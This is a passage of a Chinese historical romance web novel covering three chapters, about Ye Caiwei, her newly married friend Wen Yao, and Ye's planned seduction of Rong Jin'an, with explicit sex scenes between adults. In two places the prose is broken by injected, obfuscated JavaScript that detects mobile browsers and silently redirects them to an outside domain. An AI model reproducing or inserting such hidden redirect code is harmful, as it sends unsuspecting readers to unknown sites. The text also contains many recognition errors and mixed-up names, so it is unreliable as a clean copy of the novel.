这些天一直陪着你,和你一起忙前忙后准备婚事,替你高兴得紧,但我心里……却还是迷迷糊糊的,没觉得你我有什么不同。”叶采薇将温谣的手放在了自己的手心,"……直到刚才看了那册子,忍不住想,想到你会跟孟崛那样……" 说到此处,叶采薇一顿,意识到自己的话不妥。 温谣正认真听着,却发现她停了下来,望向她犹豫的眸底:"又怎样?"她并没有感到丝毫的冒犯,叶采薇感慨不已,轻轻捏了捏她肉蛋一样的俏脸。 婚姻嫁娶,身份也彻底转变。从此之后,你和孟崛才是一家人,你要生儿育女、料理后宅,整日围着孟崛打转,而我呢,我还整天只会吟风弄月…….谣谣,我们以后会生分吗?” 两人之间的话题,显然已经从面红耳赤的男女之事转移到了前路漫漫的生活上,温谣见叶采薇红着眼,白生生的一张脸满是落寞,反手将她握紧: “别瞎操心,八月就是秋闱,在之后就是春闹和殿试。最多,等到明年这个时候,你的容公子 定会金榜题名,入翰林步青云,飞黄腾达,十里红妆娶你过门,到时候全京城数你最风光,咱们两个又怎么能生分?" 想起容津岸,叶采薇抿了抿唇瓣,温谣见状又笑:“我哪里说的不对?薇薇,难道容津岸还能过河拆桥,翻脸不认人不成?”叶采薇立刻柳眉倒竖,嗔道:“他敢!”“我看他也不是这样的人,”温谣笑得比花还要娇艳,“这样的人,又怎么能入你叶采薇的法眼,让你眼巴巴追了那么久呢?” 两个人笑闹作一团,脸皮都厚了不少,又把那扔在一旁的册子挖出来,认真研究学习。 回到叶府,叶采薇心里仍旧是热腾腾的。 恰好今日容津岸没回国子监,而是歇在了叶府,叶采薇轻车熟路躲过下人们的视线,来到他的厢房,正巧他此刻就坐在桌案,面前摊开的是叶渚亭借给他的孤本,看得入迷。 豆大的烛火,照亮却没有照得真切,他的侧脸 锋利俊朗,眉宇间永远凝着散不开的烟云,被昏黄的烛光染出了几分萧索的欲色,眸光垂落在纸上,像 棵古老而神秘的孤松。 一任阶前,点滴到天明①。 他看书入迷,叶采薇看他也看得入迷。 有时候她想不明白,自己京城长大、见惯繁华,为何会对来自乡野的他独独青眼相待?真的只是因为,他这副皮囊实在好看得鹤立鸡群吗? 不得不承认她的肤浅,看容津岸长得好,不自觉产生向往。但又不仅仅止于肤浅。 叶采薇自我认知清晰,她最了解自己,比起孤做、自恃才高,她比容津岸更甚。沉迷在书山文海中,她是一只独来独往的孤舟,总想往更远更深处追索,有许许多多与温谣甚至叶者亭都无法谈开的深入 交流,却能在容津岸那里,得到意想不到的反馈。 尽管许多理念并不相合,看待问题的角度也不一样,但她却言欢和他说话,为了小小的一个观点争来论去,在碰撞中火花飞溅,而每每说起这些,容津岸便会卸下那身与生俱来的清冷孤做,丰神俊逸的 人,身上就像发着光一样。 说白了,她喜欢和他吵架,吵架是他们两个相处的方式。 眼下亦是如此。 沉浸在阅读里的容津岸根本没有察觉到她的到来,叶采薇破坏欲冒头,轻手轻脚走到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871965|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身后,玉臂钻过他挺直的脊背,忽然按住了他正看得入迷的孤本。 容津岸一僵,叶采薇顺势把下巴搭在了他的肩窝,看他耳背上的软肉起了一层小疙瘩,捉弄的兴趣被满足,她对着他的耳洞吹气: “朱子曰:‘少年易学老难成,一寸光阴不可轻②,容公子如此刻苦,可知我今日也与你比肩,所学不比你少?” 容津岸没接她的话,只顺手将那珍贵的孤本小心收好。 在他收书的同时,叶采薇沿着他腋下的空档,钻到了他的怀里,直接坐在他的腿上,稳稳环住他的脖子,娇生生问他:"容公子学而不厌,难道不想知道,本姑娘勤学一整日,都学了些什么吗?" 容津岸的双手停留在桌案上的孤本,他的瞳孔幽深无底,只望向她。叶采薇羽睫颤了颤,不懂他在想什么,抿抿唇:“这段时日谣谣筹备婚礼,我总往温府上跑,冷落了容公子,容公子是不是生气了呀?” 被她紧紧搂住脖子的容津岸仍旧不说话,薄暮一样的目光,反复在她晶亮的眼睛和湿润的唇瓣上徘徊。"还是说,你巴不得我冷落你,没有我死乞白赖缠着你,你就可以多读一点书?"叶采薇的心尖隐隐有些发酸,在他的怀里晃呀晃,脚上的绣鞋“啪嗒”“啪嗒”地落在了地上。 “八月就是秋闱,明年就是春闱和殿试,再辛苦一点、再忍几个月,是不是?才比子建,你果真如阿爹预言那般高中,”叶采薇越说越快, “金榜题名,是不是迫不及待就想摆脱我,不需要再忍了?榜下捉婿,广传美谈,多少待字闺中的姑娘排着队要你,你可要精挑细选,选一个称心如意的,是不是?” "薇薇,不要胡思乱想," 容津岸眉头的烟云骤起,这才用大掌扶住了她轻薄的后背,“我不可能做对不起叶阁老的事。”得到些许安慰,叶采薇顺势在他紧绷的下巴上啄了一口:“那你也一点都不关心我,问我都学了些什么呢?” “薇薇都学了些什么?”某人从善如流,唇角这才溢了一丝笑意。 “谣谣有几本册子,专门留给我看的。金栗笺的册封、仿南唐澄心堂的册纸,金贵得很,说是专供宫里的人用的教养之物。”叶采薇对上他漆黑的眼,欣赏着瞳孔中倒映自己的娇态,故意把话说得慢条斯理,"每 张画,无不精美细致,全是出自大家之手。我呢,秉持着与你相同的、一贯勤奋好学的精神,认认真真从头学到尾,每处细节,都深深隐在脑海里了。" 说完,她还故意用指尖点了点自己的小脑袋,歪着头对他笑。 但容津岸在听到“册子”“教养之物”的时候,便已经明晰她所说的是什么,手掌放下,肩背也僵硬了起来。 "陆放翁诗云:"纸上得来终觉浅,绝知此事要躬行’③,”容津岸细微的变化当然被叶采薇察觉,她偏要继续,放肆地欣赏着他渐渐红起来的耳尖,"纸上谈兵,到底难得真谛,既然学习的机会近在眼前,哥哥不想切磋一番吗?" 叶采薇是独女,没有表兄也没有堂兄,“哥哥”这个称呼,她只用在他身上。且一定是极其特殊的时候。 她的目光渐渐向下滑落,拂过他小山尖一样的喉结,那里微微滚动,是难耐的象征。叶采薇凑近,用唇瓣贴上去,留下一个湿湿的吻。 “别闹。”容津岸的眉眼笼起厚厚的愁云。 可叶采薇哪里肯善罢甘休,追上去,又吻了好几下。 “薇薇,这件事,这件事不可以。”容津岸难得失了分寸,连忙躲开,“周公之礼,须得成婚圆房时才可以进行。” 为使自己的拒绝更明确更彻底,他不给她任何反驳的机会,说话间径自站了起来,我这她的肩臂让她不至于跌落在地,但他也同时弹开,两人一下就站出了一文远的距离。 叶采薇被 拒绝了也不恼,笑眯眯看了他好一会儿,看他讷讷难言,看他那越来越难以抑制的、绯红的脸色。虽然她时常读不懂他,但他这般憨羞,又别有一番……撩人的滋味。 叶采薇蹦蹦跳跳去穿鞋,大大方方同他道别,离开。她想做成的事,就没有做不成的。 从此之后,课上课下,她再没有找过容津岸,容津岸也像是避嫌一般,很久都没在叶府的厢房中过夜。 很快,温谣与孟崛的大婚如期举行,从头到尾一切顺利。温谣的两位兄长,叶采薇和容津岸,并着奚子瑜等其他几个同窗,都跟着好一番热闹,记忆犹新。当然,两人的恋情还是个秘密,表面上仍旧井水不犯河水,旁人谁都瞧不出那些暗潮汹涌。 又过了许多日,一切如常,风平浪静。 容津岸思前想后,确定叶采薇那晚的“突袭”应当只是贪玩心大的一时兴起,并不会一再坚持,于是也放下了防备,仍旧和从前一样,接受柳姨的安排,在叶府上小住。他当然不会找叶采薇求证,这件事最好谁都忘记了。 这晚,容津岸夜读完毕,收拾妥当后,沐浴洗漱。唯一的一件睡袍刚好在之前浆洗了,晾晒着忘了收回来,原本他也不习惯穿衣就寝,索性只着亵裤,便熄灯上榻。 月虚,春深,蛩繁,夜浮,在叶府上过夜时他总能很快静心。他的睡眠向来是极好的,一沾上枕头,很快便陷入了沉睡。也不知道自己梦见了什么,梦里的雾太甚太浓,他看不真切。而几乎同时,睡着睡着,他竟然越来越热,也越来越口渴难耐。 困倦中,容津岸缓缓把自己拉扯出来,睁不开双眼,稍微动了动自己,却发现怀里有着软软的一团。还有清浅而香甜的气味,随着他感官的复苏,越来越甚。"哥哥,你终于醒啦?" 是叶采薇的声音,娇娆柔美,从他的胸膛中闷闷泄出,却是狡黠和欢喜并存。她……她竟然半夜溜到了他的床榻、他的怀里来。 容津岸浑身僵住,一点也不敢动。因为他同时还发现,怀里的叶采薇,似乎只穿了一件薄薄的睡袍。 36、春雨 为了这一天,叶采薇蓄谋已久。 这当然是她事后对容津岸夸大其词的说法,事实上,促使她真正下定决心的,是几日之前。那天,成婚后的温谣带着孟崛三朝回门。 虽然孟府距离叶府只有几条街,片刻便至,但叶采薇念着温谣与孟崛新婚燕尔,纵使有一肚子话、再想和温谣亲近,她也忍到了温谣三朝回门的那天。 与大婚那日的盛彩红妆相比,今日的温谣淡妆浓抹,更显宜室宜家。 她穿着一身浅檀色月华锦的衣裙,其上有应景的莲花缠枝纹,喜气洋洋。一头乌发,被梳成了婚后的妇人才梳的堕马髻,只斜斜插着一支嵌玉花蝴蝶步摇,随着温谣的一颦 笑更显淡雅脱俗。 叶采薇打扮一新,早早便到了温府,来不及单独同温谣说话,便被她的父母拥到屋子里,众人热闹。 一屋子人说了好久的话,叶采薇暗暗观察,温谣虽然并不与孟崛在一处,但眼神骗不得人,时不时便抽空往那边去,停驻好久,偶尔两人视线交错,温谣又会羞涩地挪开,喘角甜密的笑意根本压不住。 眼见温谣新婚的幸福溢于言表,叶采薇也由衷欣慰,但从小与自己亲密无间的闺蜜如今眼里却全是另一个男人,说心里没有泛酸,叶采薇知道那是自欺欺人。 于是,她找了个十分牵强的由头,非要在温府上住一日。 温谣当然明白她的意图,只好委屈一下孟崛,让他一个人灰溜溜回孟府。 下午送走他时,两个人又黏糊糊地腻在一起说了好久的话,临别了,孟崛还依依不舍在温谣的额头印下一个吻。叶采薇站在后面遥遥望着,被衬得像是个拆散有情人的恶魔。 她把这口闷气留到了晚上。 沐浴洗漱,更衣上榻,还是那张床,两个人又像小时候一样挤在一起,不分彼此。 少女的体香混着柑橘甜腻腻的香气扑鼻而来,叶采薇心头一荡,趁着温谣搅弄青丝发尾的不察,一抬手,扒开了她寝衣的领口。 此时还未熄灯,视线良好,那瞩目的红.痕趴在温谣灵巧的锁骨上,被叶采薇抓个正着。 温谣害羞急了,连忙伸手去遮,谁知道那鱼牙绸的寝衣顺滑无比,也跟着顺势坠落,眨眼间,雪玉冰肌上的点点红梅便无所遁形,开得娇艳。 温谣小脸红红的,却是一番干脆豁出去的姿态,懒得遮遮掩掩,稍稍坐直,将小衣也摘下,大大方方,程给叶采薇看。 这下,反倒是先发制人的叶采薇愣在当场,她也跟着红了脸,视线只敢略一徘徊,然后向上,对上温谣如水的眼眸: “谣谣,你……疼不疼?” 说完,又捡起温谣的小衣,重新给她套上,叶采薇心头有些说不出的涩意,系带的手指有些不稳,又听温谣说: "孟大哥对我很好。" 这话跳脱得很,叶采薇微颤的心口一滞,忍不住莞尔: “知道,知道他对你好,若是敢对谣谣有一点点不好,我怎么放心,让你嫁给他?” 孟崛的家境,用“平平”来形容都是抬举,温谣的母亲张氏的外祖父曾是内阁首辅,两人在家世上并不相称。而孟崛能做到大理寺左寺丞,全靠自己一身的本事。 当初因为退婚,温谣也受了不少流言攻击,与孟山崛的相识纯属意外。孟崛其人稳重可靠,给了温谣极大的安全感,是以和顺听话的她第一次做了出格之举,瞒着家人,在叶采薇他们的掩护之下,偷偷和 孟崛往来。 “微薇,你也不是不知道,我一直都很胆小的。”温谣将那如瀑的青丝彻底垂下,铺满她雪白的肩膀,她反手捉住了叶采薇纤细的腕子,拉她到眼前来说话, “之前,每次和孟大哥偷偷见面,除了说点贴心体己的话,旁的什么也不会做……就连定亲之后,也只是和他拉过手。” 叶采薇点点头,这些她都很清楚,孟崛对温谣一往情深,十分尊重她,从不强迫她做任何她不愿意的事,一点都不。 “别说做那事了,我连亲吻是什么滋味都还不知道呢,”温谣吐了吐舌头,娇态可爱, "孟大哥老实的很,他说他也不知道……" 他亲过来的时候我好紧张啊,生怕哪里不对,咬到他了……好的不灵坏的灵,他、他把舌头伸进来了,我 害怕,还真紧张得咬到他了,把他疼得够呛,留了个小口子,现在还没愈合呢。” 叶采薇想起自己和容津岸第一次接吻时的情景,不由莞尔,明知故问道: "那……他都疼了,还有没有再亲你呢?" 温谣挑了挑眉,轻轻推了叶采薇一把,让她躺好,自己也顺势倒了下去,蝽首放在软枕上: “要、要圆房的嘛,怎么可能不亲呢?我自己也不好意思,就把那些册子上画的东西,认真仔细回忆,跟孟大哥讲了。没想到孟大哥也是第一次听,被我唬得 愣 愣。” 叶采薇想到那场景,觉得惊异极了。 孟崛皮肤略黑、五官相扩,虽然+分英俊好看,他不说话的时候,却是自带满满的咸严和峻厉,与人很有距离感,他又是很小便开始在大理寺做事,已有多年,经手了无数或奇异或骇人或错综复杂的案 件,对待罪犯和恶事,铁面无私,手腕狠辣,听说他的同僚们给他起了个外号,叫“孟阎罗”。 当初孟崛上门提亲时,别说温谣的两个兄长温让和温诞,就连她浸淫京中官场人际场多年的父母,都被孟崛的模样和架势一恫,差点失礼,好半天才缓过劲来。 就是这样一个人,在新婚洞房时,却被内向和婉的温谣用那种事给唬住,而且并非是装模作样的,实在是令人费解、难以想象。 “然后呢?”想象不出来的叶采薇,虚心向当事人求教。 温谣的青丝将软枕铺得满满当当,乌黑一片,她面朝床顶,双臂搭在两侧,体态舒缓: "我说的每一句话,他都认真听,往心里去。" “他跟我发誓保证了,一定不会弄疼我的,如果我有半点不舒服,尽管开口跟他讲,千万不要忍着。” 叶采薇也平躺着,面朝床顶,并未去看温谣的脸色和神情,温谣不说话,应当是完全沉浸在幸福的回忆之中。 春日的薄被笼住她们,笼不住少女清浅的呼吸和随之蔓延的淡淡馨香,叶采薇的思绪左摇右晃,她很想认真思考点什么,却抓不住半点飘絮,便也收住嘴巴,不说话。半晌,有响动传来,是身旁的温谣翻了个身。 “其实……很舒服的。”温谣离得很近,说了话,温热的气息沿着叶采薇冰凉的耳朵钻入。 于是叶采薇也翻身侧躺,和温谣面对面,在昏暗的烛光里,叶采薇看得真切,温谣的脸上泛起了极薄的云霞。她用眼神表达对那句话的疑惑。 温谣眨了眨眼。 “疼,当然也是疼的,那么吓人的东西,就跟被撕开一样……”她说得极慢,每一个字都像挂着露水。 “我到底还是不争气,掉了好多好多眼泪,跟哭不完一样……孟大哥哄了好久好久,我还是疼,一直哭一直哭,我也不知道怎么就这么能哭了,孟大哥说,他哄得心都快要碎了…” 叶采薇忍不住伸手捏了捏她的脸。 “后来嘛,渐渐地,就不疼了……”温谣漆黑的瞳孔里藏了星星,点点熠熠, “其实那册子上画的东西还是挺有用的,照着去做,就,就……慢慢品出了乐趣来。‘春宵苦短日高起,从此君王不早朝①,从前我不懂这句诗的含义,现在也……” “薇薇。”温谣红着脸抿唇笑了好久,忽然想到了什么,“薇薇。”“嗯?”叶采薇指尖发麻,羽睫也不由得颤了颤。“谢谢你,当初要不是你坚持退婚,我恐怕真是泥足深陷,哪里会有今日。”温谣感叹。 “说什么谢谢,谢来谢去的,我们姐妹之间,哪里需要见外?”叶采薇又忍不住捏了捏温谣的脸颊,“那件事已经有一年半了,早就翻篇,你的幸福和大好时光都在前面呢,赶紧把晦气的东西忘了 吧。” 温谣所说的,是嘉泰四十一年的事,就在叶采薇认识容津岸的同时发生。 在叶采薇被叶者亭许配给六皇子后,温谣的父母也为她定下了亲事,对方是六皇子孔母的儿子,也就是六皇子的奶兄弟兼件读。那人虽然没有参加科举,却也因着六皇子的关系早早进了光禄寺。温谣的 母亲张氏,有个曾经做过内阁首辅、主持新政改革、并豪言“吾非相,乃摄也”的外祖父,一时煊赫,但也为此在你死我活的党争中付出了全族差点覆灭的代价。 是以,温谣的父母为她选定的未婚夫,希望温谣能够平安顺遂,远离朝堂纷争。 只是事与愿违,这个未婚夫是个烂泥扶不上墙的,他和六皇子狼狈为奸、联手玩弄良家妇女,那日温谣之所以会同叶采薇 起到青楼大闹,除了为姐妹撑腰之外,当然也是为了捉这个未婚夫的现行。 偏偏这个渣男人长了一张十分能说会道的巧嘴,叶采薇前脚在六皇子面前放下斩钉截铁的豪言退婚,这人后脚就单独到温府找上了温谣。 一番口蜜腹剑下来,温谣素来耳根子软,被这人三下五除二哄得晕头转向,叶采薇去找温谣说话,就刚好撞见了温谣满眼犹豫、动摇要放弃退婚的一幕。 叶采薇眼里容不得沙子,又哪里能眼睁睁自己的闺蜜明知是火坑还要往里面跳?当下柳眉倒竖,劈头盖脸将那未婚夫好一通臭骂,直接将人灰溜溜骂走。 事情似乎告 段落,她原以为温谣会像从前一样和她亲亲热热,可谁知这站娘竞然真的被那人渣未婚夫说动,已经开始犹豫退婚的事,说事情做得这么绝,对她们两人的名声损害极大,还反过来劝她, 要从长计议。 温谣冥顽不灵的样子让叶采薇恨铁不成钢,她忍不住说了几句重话,但温谣也是破天荒第一次顶了回来,两人谁也没有让步,难得翻了脸。 那是两人十几年坚不可摧的友谊中唯——次甜龋,好在有温谣的两个兄长从中调停,叶采薇抱着温谣哄了好久、讲明道理,温谣最终还是退了婚,又因此认识了孟崛。 薇薇说得对,遇到了真正对的人,我们的幸福和大好时光都在前面呢!”温谣脸上的云霞上泛,渐渐染到了她黑亮的眸子,她无比认真地说, “薇薇,和心爱的人做那件事,真的是极快乐极有趣的,这 句话,我发自肺腑……相信我,以后你就懂了。” 叶采薇很想懂,从温府回去之后,她一直在悄悄琢磨着。 温谣的话被她反复回味,“和心爱的人做那件事”——尽管在男女方面,叶渚亭从小给了她极为严格的规训、也用行动言传身教,叶采薇却并不觉得,自己这个念头有什么不对— 喜欢他,爱慕他,便会不由自主想要亲近他的身体,这是人之常情,为什么一定要压抑要恐惧呢? 而且,她没有伤害任何人,这件事也不可能会伤害到任何人。 她只做自己的主。 再说—— “你会娶我的,对不对?”主动告白的是她,主动亲吻的也是她,叶采薇孤注一掷,当初却也得到了容津岸肯定的回答。“嗯。”容津岸伸手把她抱住,坚实而温暖的胸膛。 在蓄谋已久终于成真的这晚,叶采薇又一次缩在他的怀里,没有问他那个当初得到过他肯定答案的问题。 她不再需要相同的答案了。 日子是提前算好的,各方面问题都考虑了进来。她从来不用香露,却也特意多备了几味,沐浴时泡够了时辰,颈上,肩上,手腕上,耳朵后面,就连青丝的发尾,都能沾染到香喷喷的气味。薄如蝉翼的睡袍,特意未着小衣和亵裤,只在外面裹上严严文实的披风,摇曳生姿。从她自己的国房到这里,她走过无数次,曲折幽深的路途,只有木展上踩6的、沾湿的夜露,沿着她嫩生生的脚趾、纤细的脚踝,一路上循,往青草更深处漫溯。 脚踝上还沾着露水,她上了他的榻,挤到他的怀里,环住他,呼吸他的味道。仿佛长长久久,从这辈子到下辈子。"哥哥,你终于醒啦?" 容津岸朦胧的困意,眨眼间烟消云散。 他不是不谙世事的稚子,当然知道叶采薇想要做什么。身体比意志更先给出反应,残存的理智告诉了他干种万种拒绝的方法。他不敢动,也不敢看她分毫,喉咙滞涩难移,卡住他或真心或虚伪的言语。 孤舟已搁浅了太久太久,乱石滩的罅隙中长满青苔,蜻蜓和蝴蝶在黄昏中越飞越低。叶采薇攀了上去。她的唇香甜柔软,水光盈盈,在覆住他的同时,仿佛沁出甘霖。 只是清甜的吻,和平日里没什么两样,也同样总是她主动,容津岸却仿佛尝到了别样的味道。吞没,纵容,寒眠恣睢,朔翻浪放。 他僵直了手臂,铁一样坚硬。 他箍住她的动作,尽管他的喉咙里还是糊作了一团,一个字也说不出来。又香又软,他在失神中竟使出了牙关。主动亲吻的叶采薇被他倏尔咬了一口,怔愣几息,然后蓦地呜咽。 容津岸也愣住了,长指蜷紧又松开,半点不敢触碰她的青丝。 发梢像妖娆的小蛇,无意盘桓,流连怅惘,所到之处,勾起轻轻浅浅的痒,还有丝丝入扣的淡香。没有什么声音。 容津岸以为万籁俱寂。但忽然,窗外一道闪电划破,他侥幸的难关,被照得无所遁形。 "哥哥,哥哥,我害怕… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一字一句,沿着容津岸冰凉的脖颈浸入脑海,画出了一个又一个粉色的圈,圈紧,再圈紧。 “薇薇和哥哥小 时候就见过了,但造化弄人,蹉跎到了现在……以后都会一辈子不分开的,下辈子,下下辈子也不分开,对不对?”就像烙印,她一口咬住他的肩线。 容津岸的脑中一片空白。 又香又甜的海,一望无际,他分明时刻提醒着自己要清醒,却越陷越深,他自诩正人君子,绝非急色重,欲之人,道德和品格都让他自小开始修身养性,可如今…… "原来,都是假的,都是假的。" “是薇薇痴心妄想,一厢情愿坚持……”"叶采薇雨意溶溶。 几乎同时,她从他的怀里抬起了蝽首。 容津岸垂眸下去,只见她白生生的一张小脸,黛眉被愁云氤氲,她点漆一样的眸子,转瞬之间,已经盈满了可怜巴巴的热泪。 “哥哥不想,原来哥哥不想……”她的樱唇一张一合,喃喃着分外笃定、又分外疏离的话。 眼泪像断了线的珠子,一颗一颗,一颗一颗滚落。 容津岸的心被狠狠撞了一下。 他忍不住抬手,捧住她冰凉的脸颊,指缝沾染湿润的甜腻:"别,别胡思乱想。" “哥哥别拒绝我….…”她好像哭得更凶了。 “别哭,别掉眼泪…”容津岸重重地吸气,胡乱擦掉她脸颊上的还在汹涌的泪水。 他的嗓子早就哑得一塌糊涂。 又一道闪电,紧接着惊雷震动。 叶采薇乍然一缩,微微抬了抬膝盖。 却似乎碰到了什么,两人俱是一顿。 叶采薇的眼泪迷蒙视线,却分明看见,容津岸苍白的额头上,那一颗一颗滚落的汗。 就像她的泪珠一样。 她的心也被撕开了小小一道口子。 “听哥哥的话,薇薇不哭了。”她又埋进他的怀里,蹭啊蹭,蹭啊蹭。容津岸并没有多余的动作,拒绝或接受。 “哥哥,薇蔽不会疼的。”等到眼泪彻底也干了,窗外的雨还在下个不停,叶采薇轻言细语,她的声音如魅感的的灵,又似娇柔的细柳,丝丝缕线缠绕,越绕越紧,“提前吃了药,哥哥不用担心。” 他不知所措的手掌被握住,有衣料滑过,薄如蝉翼的睡袍不堪一击,他被牵引,从凌乱的襟摆下伸进,缓缓向上。 容津岸僵住,手收不回来。 世上怎么会有她这样的姑娘呢? 大胆又怯懦,妖娆又纯真,一声招呼都不打,闯进了他的世界。他不是肤浅之人,绝不会被美色轻易俘虏。 哪怕这美色世间罕有,哪怕这美色……是他捉摸不定的美色。 几乎同时,嘴唇也被她堵住。 叶采薇变化多姿,这 次又多了几分热,辣和缝绻,主动的掠取,直白的亲密,容津岸自诩正人君子,根本招架不住。大胆的小曾乖巧地趴着,主动和他分享呼吸,他的耳边是滂沱的雨声,砸得万物铺 天盖地,怀里的她用她丁香一般的小佘主动撬开他的齿关,再一次和他纠缠,混合着汗水泪水的咸涩,片刻也不愿分离。 男人紧紧闭上双眼,另一只手不知怎么回事,竟将她的后脑扣住,不断加深这个吻。 正人君子还是自欺欺人的食色性也?那根弦紧绷再紧绷,仿佛倒挂着利刃,一圈又一圈缠紧的,分明只束缚君子,从不束缚小人。没有伤害任何人,不会伤害任何人。 困锁在樊笼,自己也变成樊笼。 容津岸眼前有浓雾。 神思迷惘,只霎那间,被她突然一翻,压住。叶采薇居于上方。 浓雾散开,他的视线晰切。 她从外面带来的遮蔽早已不见踪影,薄薄地卸下,她直白地展呈,不顾一切地推促。室内昏暗的光线被暴雨绵密的雨丝切得缭乱,堪堪打在她的身上,像是为她披上一层斑驳却又欲说还休的纱。 她看着他,叶采薇看着他。 酡红柔软的唇瓣上,是他们深深缠吻后残留的香津,淡粉的脸颊挂着泪痕,眼尾娇红泛泛,一双杏眼深邃又迷离。 皎白,莹润,是不可亵渎的圣洁,是神女临凡的端雅,她满头的秀发像水藻 样浓密,恣意散落,前面一些,后面一些,惑人的圆曲和红缨半覆半盖,若隐若现。 她美得像一个妖物,修炼千年,摄魄蚀魂;但又偏偏行着慈悲为怀的善举,睥睨万物,普度众生。 容津岸看呆了,耳朵被封闭,再也听不见任何旁的声音。然后便被握住,眼睁睁看着她的红唇一张一合:"哥哥撒谎,明明你也想的。" 37、不悔 雷电暂歇,外面的雨却越下越大。 未至浅夏,澧泽丰沛,暮春时节的雨竟也下得这般盛大。 风也飘飘,将原本懒散半阖的窗牖吹得不停哀鸣,“呼啦呼啦”的声音,大珠小珠的雨点密密匝匝地倾盆砸下,本就零落的花叶更添凄凄惨惨,雷声渐细,风声正紧。哪里来的温度,越来越高,越来越热呢? 到了这个地步,叶采薇其实还是紧张极了。 那本册子在上次夜谈时又被温谣翻了出来,给她仔仔细细看过一遍,她自信烂熟于心,已有了万分的把握,转眼落于实践,竟然还与想象中不同。原来容津岸实在……天赋异禀。 人和人之间的差异这么大吗? 那册子上所画,她以为已然是极限中的极限,方才自己没看清,顾上不顾下,混沌着把心一横握住,霎那间便知道自己的想法有多么天真。容津岸还有什么短处吗? 瞧她爱上了一个什么样的人。 现在呢,要退缩吗?叶采薇一万个舍不得。今晚是她策划了好久好久,才终于有了的天时地利人和。她从一开始就斩断了所有的退路,将所有的手段和方法用尽,如若真的在这个时候退缩,以后怎么办? 以后要如何与他相处? 从前他待她本就冷淡,再加上这件事,恐怕会更加难上加难。她赖以维持的主动的壳,一击即溃,再也无法在他面前抬头。 何况她已经……这样了。 她还在直坐,被暴雨浸湿的风刮进来,吹散了暧昧的燠,青丝和发尾都被吹起,呈露出更多雪白的春色。进退失据,比一开始就失败更让她沮丧。 顷刻间,叶采薇的额上便有细细的汗水,滚下来,凝结在她光洁莹白的下颌,圆溜溜的几颗。她开始不敢凝视容津岸的眼,眼睛直达心底,会将她的色厉内荏暴露无遗,最终使得功亏一篑。手上还是并未放松,却忽然听到偃旗息鼓的雷电又一声惊雷,噼里啪啦炸开,叶采薇吓得一颤,素手也跟着动了动,却在雷声的尾音里,分辨出了一些意味不明的声音。 这些声音,来自容津岸的喉咙。 仿佛有了感应,她倏然抬眸,撞进了他星奔川骛的眼。他的眸底极深又极浅,黑如渊薮,却将她此刻清晰映照。她的脸色慌乱,无处躲藏。 可他分明也流了许多汗,汗珠沿着他高挺的鼻梁,大剌剌地滚,划下几道意味不明的线。对视之间,谁都屏住了呼吸,不敢让错乱流泻分毫。 叶采薇以为时间仿佛停住。 可突然变作了天旋地转,只是眨眼之间,上下颠倒,主次轮换,她反应不及,被压住,被桎梏。发尾被容津岸随意拿起,放在鼻尖嗅闻,好似沉溺,眉眼却又疏离,自上而下,他将青丝把玩,一点一点缠绕他骨节分明的长指。 渊亭岳峙的正人君子,不见半点被侈欲操纵的失控模样,反而好整以暇。 越是克制,就越是诱人深陷。 “你……你…”叶采薇很想说出挑衅的话来,理智被抛却,徒留期期艾艾。 她已倾尽所有。 阴影压下,视线被覆盖,耳畔有炽息徘徊,然后蓦地一口,将她早已红得滴血的耳珠尽数吞下:"薇薇,你想好了没有?"是容津岸,他在问她,无比郑重和认真,嗓音带着磁。 她沦陷在他短短的几个字里,好像什么也没说,又好像是海誓山盟。她想回应,长句短句,上阙下阙,有说不完的话,却统统被堵在了喉咙里。叶采薇像猫儿一样呜咽,嫩生生的脚趾蜷缩,凭着感觉找到他紧绷的腓与胫,趾甲圆硬地上下轻刮,代替她的樱唇回答他的问题。 容津岸薄唇紧抿,眉头有雾,若隐若现地皱出"川"字,漆黑如洞的瞳孔,明明灭灭的光华,神色肃穆庄严,不容一丝轻慢,仿佛对临神祇。 叶采薇看着他,看着他的动作。 她要把每分每毫刻在脑海心底,骤然被挤的那一刻,她的指尖无故发麻,陌生的绽裂伴随着酸和臃鼓,让她把所有准备好的理智全都抛在一边,坦然而赤倮地迎接。 眼泪倏然上涌,根本控制不住,羽睫湿得乱作一团,柔荑将褥单绞紧,也无法纾解痛意,天崩地裂地来,孱孱弱弱地去。 原来,是这样的感觉…… 因为动作,容津岸靠得很近,叶采薇咬牙支起自己,狠狠张开檀口,咬在他的肩膀上。 尽管这一切都是自己强求来的,但他让她痛,她也不愿忍让,定要以牙还牙。这一口下了死力气,仿佛要将这一块苍白的肌理直接咬下来,和血生吞入腹。“薇薇,薇薇……你真是、真是小老虎……”果然,这一口换来了容津岸带着喘,息的抗议。 本就是水火不容的两个人,日常衣冠楚楚时,为了丁点大的论点,也能争个你死我活,如今深嵌,又怎么不是睚眦必报的脾性? 容津岸的报复淋漓尽致,汗水簌簌滚落,像窗外的雨那样大。叶采薇被他抱紧,起来又放下,仿佛高恳空中,又仿佛沉入深渊,花香和泥土气,少女的体香,还混合出别的气味,摇摇兄兄的床帷,支离破碎的轻响,像轮换不停的日月,也像奔流入海的江河。 “哪里是小老虎,分明是小猫,小猫才这样咬人。 ”分离的间隙,她听见他的调侃。来不及反驳,他竟然站了起来,叶采薇被迫死死扣住。得逞的低笑,跟平日里清冷孤傲的君子根本不是一个人。 是该为自己识人不清懊恼,还是激发出他那不为人知一面而欢欣庆幸?叶采薇不知道,所有的感官叫嚣,根本不允许她仔细思考。她只能迷糊地确定一件事,那就是温谣说得极对,翻过了初初的几座峻峦险峰,剩下的路途,心旷神怡。 后来容津岸又放了下来。 